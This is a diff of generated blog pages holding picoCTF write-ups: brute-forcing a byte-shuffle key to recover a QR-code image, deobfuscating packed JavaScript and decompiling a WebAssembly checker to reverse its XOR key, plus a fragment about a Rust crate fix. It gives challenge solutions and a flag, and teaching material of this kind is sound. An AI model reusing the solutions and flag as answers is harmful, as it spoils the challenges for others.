</span></span></code></pre></div><p>The inner loop then fills up 16 contiguous bytes of the <code>result</code> array from the index <code>j * LEN</code> by a table lookup into the <code>bytes</code> array initialized earlier.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#66d9ef>for</span>(<span style=color:#66d9ef>var</span> <span style=color:#a6e22e>j</span> <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>; <span style=color:#a6e22e>j</span> <span style=color:#f92672>&lt;</span> (<span style=color:#a6e22e>bytes</span>.<span style=color:#a6e22e>length</span> <span style=color:#f92672>/</span> <span style=color:#a6e22e>LEN</span>); <span style=color:#a6e22e>j</span> <span style=color:#f92672>++</span>) {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>result</span>[(<span style=color:#a6e22e>j</span> <span style=color:#f92672>*</span> <span style=color:#a6e22e>LEN</span>) <span style=color:#f92672>+</span> <span style=color:#a6e22e>i</span>] <span style=color:#f92672>=</span> <span style=color:#a6e22e>bytes</span>[(((<span style=color:#a6e22e>j</span> <span style=color:#f92672>+</span> <span style=color:#a6e22e>shifter</span>) <span style=color:#f92672>*</span> <span style=color:#a6e22e>LEN</span>) <span style=color:#f92672>%</span> <span style=color:#a6e22e>bytes</span>.<span style=color:#a6e22e>length</span>) <span style=color:#f92672>+</span> <span style=color:#a6e22e>i</span>]
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><h2 id=solution>Solution</h2><p>Let&rsquo;s write a python script to automate searching for the key. We can narrow down our key space since a PNG file has its header (first set of bytes) as <code>\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR</code>.
We will use numpy to broadcast arithmetic operations over all elements of a tensor (rank 1 here, meaning an array). Since the key has one byte from the PNG header and another unknown byte
alternatively, we can begin by using a dummy byte like &lsquo;A&rsquo; for all those spaces.</p><p>We then try to generate an image from the resultant byte array and validate it with the python image library (PIL). If the validation succeeds, we can end the search and save the image.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-py data-lang=py><span style=display:flex><span><span style=color:#f92672>import</span> itertools
alternatively, we can begin by using a dummy byte like &lsquo;A&rsquo; for all those spaces.</p><p>We then try to generate an image from the resultant byte array and validate it with the python image library (PIL). If the validation succeeds, we can end the search and save the image.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-py data-lang=py><span style=display:flex><span><span style=color:#f92672>import</span> itertools
</span></span><span style=display:flex><span><span style=color:#f92672>from</span> itsdangerous <span style=color:#f92672>import</span> base64_encode
</span></span><span style=display:flex><span><span style=color:#f92672>from</span> PIL <span style=color:#f92672>import</span> Image, UnidentifiedImageError
</span></span><span style=display:flex><span><span style=color:#f92672>import</span> numpy <span style=color:#66d9ef>as</span> np
@@ -167,7 +167,7 @@ alternatively, we can begin by using a dummy byte like &lsquo;A&rsquo; for all t
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> __name__ <span style=color:#f92672>==</span> <span style=color:#e6db74>&#34;__main__&#34;</span>:
</span></span><span style=display:flex><span> main()
</span></span></code></pre></div><p>Running this script, we get the following image in <code>B0EGQQFBBkEAQQdBw6BBAUEFQQBBAEEAQQJBAEEIQQU.png</code>.
<img src=../../B0EGQQFBBkEAQQdBw6BBAUEFQQBBAEEAQQJBAEEIQQU.png alt=B0EGQQFBBkEAQQdBw6BBAUEFQQBBAEEAQQJBAEEIQQU.png></p><p>Since this appears to be a QR code, the only thing left to do is scan the image with a tool like <code>zbarimg</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>zbarimg B0EGQQFBBkEAQQdBw6BBAUEFQQBBAEEAQQJBAEEIQQU.png
<img src=../../B0EGQQFBBkEAQQdBw6BBAUEFQQBBAEEAQQJBAEEIQQU.png alt=B0EGQQFBBkEAQQdBw6BBAUEFQQBBAEEAQQJBAEEIQQU.png></p><p>Since this appears to be a QR code, the only thing left to do is scan the image with a tool like <code>zbarimg</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>zbarimg B0EGQQFBBkEAQQdBw6BBAUEFQQBBAEEAQQJBAEEIQQU.png
</span></span></code></pre></div><p>This yields us the flag.</p><pre tabindex=0><code>QR-Code:picoCTF{227c2d3465a6a4bcc8a1bc599e34f074}
scanned 1 barcode symbols from 1 images in 0.03 seconds
</code></pre></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>

View File

@@ -12,10 +12,10 @@ prettify it.'><meta name=author content><link rel="preload stylesheet" as=style
has less solves as of writing this post. I figured, it&rsquo;s worth talking
about.</p><p>We are told to visit
<a href=http://mercury.picoctf.net:60022/index.html>http://mercury.picoctf.net:60022/index.html</a>
where we find a simple textbox prompting us to submit the flag.</p><p>Looking at the page source by pressing <code>ctrl</code> <code>u</code>, we see that it is sourcing javascript code from <code>rTEuOmSfG3.js</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-html data-lang=html><span style=display:flex><span>&lt;<span style=color:#f92672>script</span> <span style=color:#a6e22e>src</span><span style=color:#f92672>=</span><span style=color:#e6db74>&#34;rTEuOmSfG3.js&#34;</span>&gt;&lt;/<span style=color:#f92672>script</span>&gt;
where we find a simple textbox prompting us to submit the flag.</p><p>Looking at the page source by pressing <code>ctrl</code> <code>u</code>, we see that it is sourcing javascript code from <code>rTEuOmSfG3.js</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-html data-lang=html><span style=display:flex><span>&lt;<span style=color:#f92672>script</span> <span style=color:#a6e22e>src</span><span style=color:#f92672>=</span><span style=color:#e6db74>&#34;rTEuOmSfG3.js&#34;</span>&gt;&lt;/<span style=color:#f92672>script</span>&gt;
</span></span></code></pre></div><p>While examining the javascript, we will notice that it is obfuscated and
packed. Put this through <a href=https://lelinhtinh.github.io/de4js/>de4js</a> to
prettify it.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#66d9ef>const</span> <span style=color:#a6e22e>_0x143f</span> <span style=color:#f92672>=</span> [<span style=color:#e6db74>&#39;exports&#39;</span>, <span style=color:#e6db74>&#39;270328ewawLo&#39;</span>, <span style=color:#e6db74>&#39;instantiate&#39;</span>, <span style=color:#e6db74>&#39;1OsuamQ&#39;</span>, <span style=color:#e6db74>&#39;Incorrect!&#39;</span>, <span style=color:#e6db74>&#39;length&#39;</span>, <span style=color:#e6db74>&#39;copy_char&#39;</span>, <span style=color:#e6db74>&#39;value&#39;</span>, <span style=color:#e6db74>&#39;1512517ESezaM&#39;</span>, <span style=color:#e6db74>&#39;innerHTML&#39;</span>, <span style=color:#e6db74>&#39;check_flag&#39;</span>, <span style=color:#e6db74>&#39;result&#39;</span>, <span style=color:#e6db74>&#39;1383842SQRPPf&#39;</span>, <span style=color:#e6db74>&#39;924408cukzgO&#39;</span>, <span style=color:#e6db74>&#39;getElementById&#39;</span>, <span style=color:#e6db74>&#39;418508cLDohp&#39;</span>, <span style=color:#e6db74>&#39;input&#39;</span>, <span style=color:#e6db74>&#39;Correct!&#39;</span>, <span style=color:#e6db74>&#39;573XsMMHp&#39;</span>, <span style=color:#e6db74>&#39;arrayBuffer&#39;</span>, <span style=color:#e6db74>&#39;183RUQBDE&#39;</span>, <span style=color:#e6db74>&#39;38934oMACea&#39;</span>];
prettify it.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#66d9ef>const</span> <span style=color:#a6e22e>_0x143f</span> <span style=color:#f92672>=</span> [<span style=color:#e6db74>&#39;exports&#39;</span>, <span style=color:#e6db74>&#39;270328ewawLo&#39;</span>, <span style=color:#e6db74>&#39;instantiate&#39;</span>, <span style=color:#e6db74>&#39;1OsuamQ&#39;</span>, <span style=color:#e6db74>&#39;Incorrect!&#39;</span>, <span style=color:#e6db74>&#39;length&#39;</span>, <span style=color:#e6db74>&#39;copy_char&#39;</span>, <span style=color:#e6db74>&#39;value&#39;</span>, <span style=color:#e6db74>&#39;1512517ESezaM&#39;</span>, <span style=color:#e6db74>&#39;innerHTML&#39;</span>, <span style=color:#e6db74>&#39;check_flag&#39;</span>, <span style=color:#e6db74>&#39;result&#39;</span>, <span style=color:#e6db74>&#39;1383842SQRPPf&#39;</span>, <span style=color:#e6db74>&#39;924408cukzgO&#39;</span>, <span style=color:#e6db74>&#39;getElementById&#39;</span>, <span style=color:#e6db74>&#39;418508cLDohp&#39;</span>, <span style=color:#e6db74>&#39;input&#39;</span>, <span style=color:#e6db74>&#39;Correct!&#39;</span>, <span style=color:#e6db74>&#39;573XsMMHp&#39;</span>, <span style=color:#e6db74>&#39;arrayBuffer&#39;</span>, <span style=color:#e6db74>&#39;183RUQBDE&#39;</span>, <span style=color:#e6db74>&#39;38934oMACea&#39;</span>];
</span></span><span style=display:flex><span><span style=color:#66d9ef>const</span> <span style=color:#a6e22e>_0x187e</span> <span style=color:#f92672>=</span> <span style=color:#66d9ef>function</span> (<span style=color:#a6e22e>_0x3075b9</span>, <span style=color:#a6e22e>_0x2ac888</span>) {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>_0x3075b9</span> <span style=color:#f92672>=</span> <span style=color:#a6e22e>_0x3075b9</span> <span style=color:#f92672>-</span> <span style=color:#ae81ff>0x11d</span>;
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> <span style=color:#a6e22e>_0x143f7d</span> <span style=color:#f92672>=</span> <span style=color:#a6e22e>_0x143f</span>[<span style=color:#a6e22e>_0x3075b9</span>];
@@ -53,7 +53,7 @@ prettify it.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;backgro
</span></span></code></pre></div><p>We will save this to a file called <code>code.js</code>.</p><p>The first part is mutating, more specifically rotating, the definitions in
<code>_0x143f</code> until the sum of the integers sprinkled throughout the list equals
<code>0xed04c</code>. Take another look at the code to make sure you can verify why that
is the case.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#66d9ef>const</span> <span style=color:#a6e22e>_0x143f</span> <span style=color:#f92672>=</span> [<span style=color:#e6db74>&#39;exports&#39;</span>, <span style=color:#e6db74>&#39;270328ewawLo&#39;</span>, <span style=color:#e6db74>&#39;instantiate&#39;</span>, <span style=color:#e6db74>&#39;1OsuamQ&#39;</span>, <span style=color:#e6db74>&#39;Incorrect!&#39;</span>, <span style=color:#e6db74>&#39;length&#39;</span>, <span style=color:#e6db74>&#39;copy_char&#39;</span>, <span style=color:#e6db74>&#39;value&#39;</span>, <span style=color:#e6db74>&#39;1512517ESezaM&#39;</span>, <span style=color:#e6db74>&#39;innerHTML&#39;</span>, <span style=color:#e6db74>&#39;check_flag&#39;</span>, <span style=color:#e6db74>&#39;result&#39;</span>, <span style=color:#e6db74>&#39;1383842SQRPPf&#39;</span>, <span style=color:#e6db74>&#39;924408cukzgO&#39;</span>, <span style=color:#e6db74>&#39;getElementById&#39;</span>, <span style=color:#e6db74>&#39;418508cLDohp&#39;</span>, <span style=color:#e6db74>&#39;input&#39;</span>, <span style=color:#e6db74>&#39;Correct!&#39;</span>, <span style=color:#e6db74>&#39;573XsMMHp&#39;</span>, <span style=color:#e6db74>&#39;arrayBuffer&#39;</span>, <span style=color:#e6db74>&#39;183RUQBDE&#39;</span>, <span style=color:#e6db74>&#39;38934oMACea&#39;</span>];
is the case.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#66d9ef>const</span> <span style=color:#a6e22e>_0x143f</span> <span style=color:#f92672>=</span> [<span style=color:#e6db74>&#39;exports&#39;</span>, <span style=color:#e6db74>&#39;270328ewawLo&#39;</span>, <span style=color:#e6db74>&#39;instantiate&#39;</span>, <span style=color:#e6db74>&#39;1OsuamQ&#39;</span>, <span style=color:#e6db74>&#39;Incorrect!&#39;</span>, <span style=color:#e6db74>&#39;length&#39;</span>, <span style=color:#e6db74>&#39;copy_char&#39;</span>, <span style=color:#e6db74>&#39;value&#39;</span>, <span style=color:#e6db74>&#39;1512517ESezaM&#39;</span>, <span style=color:#e6db74>&#39;innerHTML&#39;</span>, <span style=color:#e6db74>&#39;check_flag&#39;</span>, <span style=color:#e6db74>&#39;result&#39;</span>, <span style=color:#e6db74>&#39;1383842SQRPPf&#39;</span>, <span style=color:#e6db74>&#39;924408cukzgO&#39;</span>, <span style=color:#e6db74>&#39;getElementById&#39;</span>, <span style=color:#e6db74>&#39;418508cLDohp&#39;</span>, <span style=color:#e6db74>&#39;input&#39;</span>, <span style=color:#e6db74>&#39;Correct!&#39;</span>, <span style=color:#e6db74>&#39;573XsMMHp&#39;</span>, <span style=color:#e6db74>&#39;arrayBuffer&#39;</span>, <span style=color:#e6db74>&#39;183RUQBDE&#39;</span>, <span style=color:#e6db74>&#39;38934oMACea&#39;</span>];
</span></span><span style=display:flex><span><span style=color:#66d9ef>const</span> <span style=color:#a6e22e>_0x187e</span> <span style=color:#f92672>=</span> <span style=color:#66d9ef>function</span> (<span style=color:#a6e22e>_0x3075b9</span>, <span style=color:#a6e22e>_0x2ac888</span>) {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>_0x3075b9</span> <span style=color:#f92672>=</span> <span style=color:#a6e22e>_0x3075b9</span> <span style=color:#f92672>-</span> <span style=color:#ae81ff>0x11d</span>;
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> <span style=color:#a6e22e>_0x143f7d</span> <span style=color:#f92672>=</span> <span style=color:#a6e22e>_0x143f</span>[<span style=color:#a6e22e>_0x3075b9</span>];
@@ -88,7 +88,7 @@ is the case.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;backgro
</code></pre><p>Notice the function <code>_0x187e</code> used indirectly to access elements of the
list. It is shadowed as <code>_0x271e58</code> and <code>_0x484ae0</code> to aid the obfuscation.
Other than that, the function is never called anywhere else. It makes sense
to evaluate the expressions from the function calls and then remove it.</p><p>Let&rsquo;s write a quick python script to do so.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-py data-lang=py><span style=display:flex><span><span style=color:#f92672>import</span> re
to evaluate the expressions from the function calls and then remove it.</p><p>Let&rsquo;s write a quick python script to do so.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-py data-lang=py><span style=display:flex><span><span style=color:#f92672>import</span> re
</span></span><span style=display:flex><span><span style=color:#f92672>import</span> subprocess
</span></span><span style=display:flex><span>ex <span style=color:#f92672>=</span> re<span style=color:#f92672>.</span>compile(<span style=color:#e6db74>r</span><span style=color:#e6db74>&#34;_0x(271e58|484ae0)\((0x[123456789abcdef0]+)\)&#34;</span>)
</span></span><span style=display:flex><span>
@@ -140,7 +140,7 @@ to evaluate the expressions from the function calls and then remove it.</p><p>Le
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>with</span> open(<span style=color:#e6db74>&#34;code_1.js&#34;</span>, <span style=color:#e6db74>&#39;w&#39;</span>) <span style=color:#66d9ef>as</span> h:
</span></span><span style=display:flex><span> h<span style=color:#f92672>.</span>write(contents)
</span></span></code></pre></div><p>We run the above code to get <code>code_1.js</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#66d9ef>let</span> <span style=color:#a6e22e>exports</span>;
</span></span></code></pre></div><p>We run the above code to get <code>code_1.js</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#66d9ef>let</span> <span style=color:#a6e22e>exports</span>;
</span></span><span style=display:flex><span>(<span style=color:#66d9ef>async</span> () =&gt; {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>const</span> <span style=color:#a6e22e>_0x484ae0</span> <span style=color:#f92672>=</span> <span style=color:#a6e22e>_0x187e</span>;
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> <span style=color:#a6e22e>_0x487b31</span> <span style=color:#f92672>=</span> <span style=color:#66d9ef>await</span> <span style=color:#a6e22e>fetch</span>(<span style=color:#e6db74>&#39;./qCCYI0ajpD&#39;</span>),
@@ -161,7 +161,7 @@ to evaluate the expressions from the function calls and then remove it.</p><p>Le
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>We can interchange the object notations for function calls and array lengths.
After renaming some of the variables so that they make more sense, we end up
with the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#66d9ef>let</span> <span style=color:#a6e22e>exports</span>;
with the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#66d9ef>let</span> <span style=color:#a6e22e>exports</span>;
</span></span><span style=display:flex><span>(<span style=color:#66d9ef>async</span> () =&gt; {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> <span style=color:#a6e22e>blob</span> <span style=color:#f92672>=</span> <span style=color:#66d9ef>await</span> <span style=color:#a6e22e>fetch</span>(<span style=color:#e6db74>&#39;./qCCYI0ajpD&#39;</span>),
</span></span><span style=display:flex><span> <span style=color:#a6e22e>assembly</span> <span style=color:#f92672>=</span> <span style=color:#66d9ef>await</span> <span style=color:#a6e22e>WebAssembly</span>.<span style=color:#a6e22e>instantiate</span>(<span style=color:#66d9ef>await</span> <span style=color:#a6e22e>blob</span>.<span style=color:#a6e22e>arrayBuffer</span>()),
@@ -180,10 +180,10 @@ with the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>The real magic happens when the script downloads a WebAssembly blob and uses
the functions exported in it to verify the input. Let&rsquo;s download the
WebAssembly file from the endpoint and decompile it.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>wget http://mercury.picoctf.net:60022/qCCYI0ajpD -O blob.wasm
WebAssembly file from the endpoint and decompile it.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>wget http://mercury.picoctf.net:60022/qCCYI0ajpD -O blob.wasm
</span></span><span style=display:flex><span>wasm-decompile blob.wasm -o decompiled.wat
</span></span></code></pre></div><p>Among the functions defined, the <code>copy_char</code> function sticks out as it
appears to perform an <em>xor</em> with a key.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#66d9ef>function</span> <span style=color:#a6e22e>copy</span>(<span style=color:#a6e22e>a</span><span style=color:#f92672>:</span><span style=color:#66d9ef>int</span>, <span style=color:#a6e22e>b</span><span style=color:#f92672>:</span><span style=color:#66d9ef>int</span>) {
appears to perform an <em>xor</em> with a key.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#66d9ef>function</span> <span style=color:#a6e22e>copy</span>(<span style=color:#a6e22e>a</span><span style=color:#f92672>:</span><span style=color:#66d9ef>int</span>, <span style=color:#a6e22e>b</span><span style=color:#f92672>:</span><span style=color:#66d9ef>int</span>) {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>c</span><span style=color:#f92672>:</span><span style=color:#66d9ef>int</span> <span style=color:#f92672>=</span> <span style=color:#a6e22e>g_a</span>;
</span></span><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>d</span><span style=color:#f92672>:</span><span style=color:#66d9ef>int</span> <span style=color:#f92672>=</span> <span style=color:#ae81ff>16</span>;
</span></span><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>e</span><span style=color:#f92672>:</span><span style=color:#a6e22e>int_ptr</span> <span style=color:#f92672>=</span> <span style=color:#a6e22e>c</span> <span style=color:#f92672>-</span> <span style=color:#a6e22e>d</span>;
@@ -209,10 +209,10 @@ appears to perform an <em>xor</em> with a key.</p><div class=highlight><pre tabi
</span></span><span style=display:flex><span> <span style=color:#a6e22e>s</span>[<span style=color:#ae81ff>1072</span>] <span style=color:#f92672>=</span> <span style=color:#a6e22e>r</span>;
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Looking through each line, we can simplify this quite a bit.</p><p>Here are some ways we can make educated guesses. From the code we see that <code>l</code>
is an integer.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>m</span><span style=color:#f92672>:</span><span style=color:#66d9ef>int</span> <span style=color:#f92672>=</span> <span style=color:#ae81ff>24</span>;
is an integer.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-js data-lang=js><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>m</span><span style=color:#f92672>:</span><span style=color:#66d9ef>int</span> <span style=color:#f92672>=</span> <span style=color:#ae81ff>24</span>;
</span></span><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>n</span><span style=color:#f92672>:</span><span style=color:#66d9ef>int</span> <span style=color:#f92672>=</span> <span style=color:#a6e22e>l</span> <span style=color:#f92672>&lt;&lt;</span> <span style=color:#a6e22e>m</span>;
</span></span><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>o</span><span style=color:#f92672>:</span><span style=color:#66d9ef>int</span> <span style=color:#f92672>=</span> <span style=color:#a6e22e>n</span> <span style=color:#f92672>&gt;&gt;</span> <span style=color:#a6e22e>m</span>;
</span></span></code></pre></div><p>Subsequent left and right shifts by 24 means getting rid of the first <code>24 / 8 = 3</code> bytes. Here&rsquo;s an animation to visualize the process.</p><p><img src=../../lr-shifts.gif alt="Left and right shifts by 24"></p><p>This means <code>l</code> is actually used to index a byte and not an int.</p><blockquote><p>Note: The following code is not <code>wasm</code>, it&rsquo;s more akin to pseudocode.</p></blockquote><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#66d9ef>function</span> <span style=color:#a6e22e>copy</span>(<span style=color:#a6e22e>a</span><span style=color:#f92672>:</span><span style=color:#66d9ef>int</span>, <span style=color:#a6e22e>b</span><span style=color:#f92672>:</span><span style=color:#66d9ef>int</span>) {
</span></span></code></pre></div><p>Subsequent left and right shifts by 24 means getting rid of the first <code>24 / 8 = 3</code> bytes. Here&rsquo;s an animation to visualize the process.</p><p><img src=../../lr-shifts.gif alt="Left and right shifts by 24"></p><p>This means <code>l</code> is actually used to index a byte and not an int.</p><blockquote><p>Note: The following code is not <code>wasm</code>, it&rsquo;s more akin to pseudocode.</p></blockquote><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#66d9ef>function</span> <span style=color:#a6e22e>copy</span>(<span style=color:#a6e22e>a</span><span style=color:#f92672>:</span><span style=color:#66d9ef>int</span>, <span style=color:#a6e22e>b</span><span style=color:#f92672>:</span><span style=color:#66d9ef>int</span>) {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>e</span><span style=color:#f92672>:</span><span style=color:#a6e22e>int_ptr</span> <span style=color:#f92672>=</span> <span style=color:#a6e22e>g_a</span> <span style=color:#f92672>-</span> <span style=color:#ae81ff>16</span>;
</span></span><span style=display:flex><span> <span style=color:#a6e22e>e</span>[<span style=color:#ae81ff>3</span>] <span style=color:#f92672>=</span> <span style=color:#a6e22e>a</span>;
</span></span><span style=display:flex><span> <span style=color:#a6e22e>e</span>[<span style=color:#ae81ff>2</span>] <span style=color:#f92672>=</span> <span style=color:#a6e22e>b</span>;
@@ -232,13 +232,13 @@ present at offset <code>1024</code>. Another shorter string starts from offset <
&#34;\9dn\93\c8\b2\b9A\8b\c5\c6\dda\93\c3\c2\da?\c7\93\c1\8b1\95\93\93\8eb\c8&#34;
&#34;\94\c9\d5d\c0\96\c4\d97\93\93\c2\90\00\00&#34;;
data d_b(offset: 1067) = &#34;\f1\a7\f0\07\ed&#34;;
</code></pre><p>The following confirms that <code>k</code> indexes into the string at offset <code>1067</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#66d9ef>var</span> <span style=color:#a6e22e>l</span><span style=color:#f92672>:</span><span style=color:#66d9ef>int</span> <span style=color:#f92672>=</span> <span style=color:#a6e22e>k</span>[<span style=color:#ae81ff>1067</span>];
</code></pre><p>The following confirms that <code>k</code> indexes into the string at offset <code>1067</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#66d9ef>var</span> <span style=color:#a6e22e>l</span><span style=color:#f92672>:</span><span style=color:#66d9ef>int</span> <span style=color:#f92672>=</span> <span style=color:#a6e22e>k</span>[<span style=color:#ae81ff>1067</span>];
</span></span></code></pre></div><p>Since <code>l</code> is used as the <em>xor</em> byte, the string at index <code>1067</code> must be the key.</p><p>The variable <code>k</code> rotates from <code>0</code> to <code>4</code> according to the index of the
character to decide the byte to <em>xor</em> with. <em>xor</em> is an involuntary function,
i.e., if something is <em>xor&rsquo;d</em> with a key twice, we get the original data back.
Therefore, we can undo the encoding.</p><p>We will create a Rust program to do this.</p><pre tabindex=0><code>cargo new picoctf
cargo add hex
</code></pre><p>Add the following code to <code>src/main.rs</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>use</span> hex;
</code></pre><p>Add the following code to <code>src/main.rs</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>use</span> hex;
</span></span><span style=display:flex><span><span style=color:#66d9ef>use</span> std::error::Error;
</span></span><span style=display:flex><span><span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>main</span>() -&gt; Result<span style=color:#f92672>&lt;</span>(), Box<span style=color:#f92672>&lt;</span><span style=color:#66d9ef>dyn</span> Error<span style=color:#f92672>&gt;&gt;</span> {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> key <span style=color:#f92672>=</span> hex::decode(<span style=color:#e6db74>&#34;f1a7f007ed&#34;</span>)<span style=color:#f92672>?</span>;

View File

@@ -22,7 +22,7 @@ we have a <code>from</code> function that accepts a single input (raw text or pa
uses the <code>as_import</code> function on all subsequent inputs.</p><p>Since we know that the upstream crate will only be able to use the public <code>from</code> function,
we can add the fix right after every import has been parsed. We add the following
loop to remove any binding in our binding list as long as it also exists in the
unbinds list.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>for</span> def <span style=color:#66d9ef>in</span> root.unbinds.iter() {
